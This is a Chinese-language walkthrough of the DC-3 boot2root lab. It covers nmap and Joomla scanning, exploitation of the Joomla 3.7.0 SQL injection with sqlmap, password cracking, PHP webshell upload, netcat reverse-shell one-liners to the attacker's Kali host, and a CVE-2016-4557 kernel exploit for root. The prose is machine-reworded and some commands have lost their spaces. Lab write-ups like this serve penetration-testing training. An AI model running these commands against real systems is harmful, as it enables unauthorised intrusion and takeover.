一、环境搭建:
1、靶场描述
DC-3是另一个专门构建的易受功击的实验室,借以获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,虽然这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,微软可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个怎样前进的看法。对于这些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只须要不到20分钟)。若果是这些情况,若果你想让它更具挑战性,你可以重做挑战linux运维最佳实践,探求其他获得根和获得旗帜的方式。
只有一个flag
2、下载靶场环境
靶场下载地址:
,312/
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.199.128/24
2、信息搜集:找寻机炮真实IP
nmap-sP192.168.199.128/24
本机ip为192.168.199.131
所以剖析可得机炮ip为192.168.199.131
3、信息搜集:探端口及服务
nmap-A-p--v192.168.199.131
-A综合性扫描
-v冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详尽信息
我们会发觉开放了80端口,存在web服务linux下安装joomla,Apache/2.4.18linux运维博客,CMS为Joomla
他告诉我们此次DC-3实战只有一个目标获得root权限
5、利用JoomScan进行扫描获取后台地址
因为我们上面采用nmap进行扫描时我们早已发觉了中间件为joomla,我们可以采用joomscan进行扫描,假如我们不晓得是joomla,我们可以采用目录扫描或则nikto等扫描工具进行扫描。发觉更多的信息。
1.JoomScan简介
OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞测量的手动化,以提高JoomlaCMS开发的安全性。该工具基于Perl开发,就能轻松无缝地对各类Joomla项目进行漏洞扫描linux下安装joomla,其轻量化和模块化的构架才能保证扫描过程中不会留下过多的痕迹。它除了就能测量已知漏洞,并且还就能测量到好多错误配置漏洞和管理权限漏洞等等。除此之外,OWASPJoomScan使用上去十分简单,除了提供了十分友好的用户界面,并且还能否以HTML或文本格式导入扫描报告。
2.JoomScan简单使用
执行默认测量:
perljoomscan.pl--url
perljoomscan.pl-u
枚举已安装的组件:
perljoomscan.pl--url--enumerate-components
perljoomscan.pl-u–ec
设置cookie:
perljoomscan.pl--url--cookie”test=demo;”
设置user-agent:
perljoomscan.pl--url--user-agent”Googlebot/2.1(+)”
perljoomscan.pl-u-a”Googlebot/2.1(+)”
设置随机user-agent
perljoomscan.pl-u--random-agent
perljoomscan.pl--url-r
更新JoomScan:
perljoomscan.pl–update
3.joomScan扫描
joomscan--url31提示没有joomscan选择y安装
扫描结果如下
晓得了joomlacms版本为3.7.0
得到了网站后台地址
6、利用nikto扫描获取后台地址
1.Nikto简介
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机容许的http模式等。
2.Nikto简单使用
1、常规扫描
nikto-host/-h
nikto-h
2、可以指定端口进行扫描,同样可以指定SSL合同,进行HTTPS扫描。
nikto-h127.0.0.1-p443ssl
3、指定子目录进行目录爆破
nikto-h127.0.0.1-C/dvwa
4、批量扫描
nikto-hostlist.txt
5、升级更新插件
nikto-update
6、查看工具版本和插件版本
nikto-V
7、查看插件信息
nikto-list-plugins
8、命令查看帮助信息
nikto
9、查看更详尽的帮助信息
nikto-H
mannikto
3.Nikto扫描
我们上面早已晓得了CMS是joomla,但是晓得了后台地址,针对于这一个靶场这一步没有任何意义,这儿只是提供一个思路,目录扫描,这儿就不拓展了。
nikto--url
7、我们要查找漏洞发觉存在sql注入
我们上面晓得了CMS为joomla,版本为3.7.0
使用searchsploit检测到有对应的漏洞
searchsploitjoomla3.7.0
我们发觉有一个SQL注入,还存在一个XSS
我们可以看一下漏洞的提是信息
searchsploit-m42033.txt
提示的信息如下
我们看见了POC,我们验证一下,把localhost更改为我们的原型机IP就ok
[fullordering]=updatexml%27可以看见提示,数据库句子错误,说明进行了拼接,存在sql注入
8、sqlmap跑出数据
1.跑出所有数据库
sqlmap-u”?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”--risk=3--level=5--random-agent--dbs-plist[fullordering]–batch
扫描结果如下
成功把数据库跑下来啦
2.获取当前数据库的名子joomladb
sqlmap-u”[fullordering]=updatexml”--risk=3--level=5--random-agent-plist[fullordering]--current-db–batch
sqlmap-u”[fullordering]=updatexml”--risk=3-plist[fullordering]-D”joomladb”--tables--batch
观察表名,很显著,我们会关注#__users这张表
4.获取joomladb的users表的主键名
sqlmap-u”[fullordering]=updatexml”--risk=3-plist[fullordering]-D”joomladb”--tables-T”#__users”--columns
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项随意
第四个选项使用10线程
最后跑下来了六个数组
5.获取目标数组username和password
sqlmap-u”[fullordering]=updatexml”--risk=3-plist[fullordering]-D”joomladb”--tables-T”#__users”--columns-C”username,password”--dump--batch
获得结果如下
领到一个用户名和加密的密码
9.借助john爆破密码snoopy
使用john破解出admin密码,johntheripper是一款本地密码破解工具,可以从我们里面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码数组写入
使用John破解出admin密码是snoopy
10.借助获取到的帐号密码进行登陆
admin/snoopy
登录成功
11.上传webshell
发觉一个上传点
点击Beez3DetailsandFiles步入
点击newfiles
回到刚刚的页面点击newfile
在html下创建一个php文件,名子称作shell
创建成功以后,跳到编辑页面,之后我们输入php一句话,点击左上角红色的save进行保存
之后点前面的红色的
再度访问
发觉多了一个shell.php文件,我们访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
12.蚁剑管理webshell
右键添加数据
右键步入虚拟终端执行whaomi查询我权限,是www-data权限
13.大跌shell到kali
蚁剑听到的终端不如kali清晰,回调一个shell到kali
1.kali窃听
nc-lvvp1234
2.机炮联接
nc-e/bin/bash192.168.199.1281234
发觉-e参数不可用
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc192.168.199.1281234>/tmp/f
14.创建交互式shell
常常用shell的都晓得这个shell不好用,我们构建一个交互式shell
常用的就是python创建交互式shell
python3-c'importpty;pty.spawn(“/bin/bash”)'
上传成功
3.发觉漏洞
ls-llinux-exploit-suggester.sh
发觉没有执行权限,我们给他加个执行文件
chmod+xlinux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发觉好多可借助漏洞
15.使用辅助脚本加壳
1.获取加壳脚本
里面发觉了好多漏洞,这儿我们挑一个进行加壳
选购CVE-2016-4557
在图片里可以看见是一个39772的文件,因为给出的那种URL难以下载
也可以去searchsploit上面去瞧瞧
可以使用下边地址直接下载
bin-sploits/39772.zip·main·Exploit-DB/BinaryExploits·GitLab
解压文件
unzip39772.zip
cd33792
ls
tar-xvfexploit.tar
cdebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完以后,加壳成功
获得root权限
16.发觉the-flag.txt
ls
catthe-flag.txt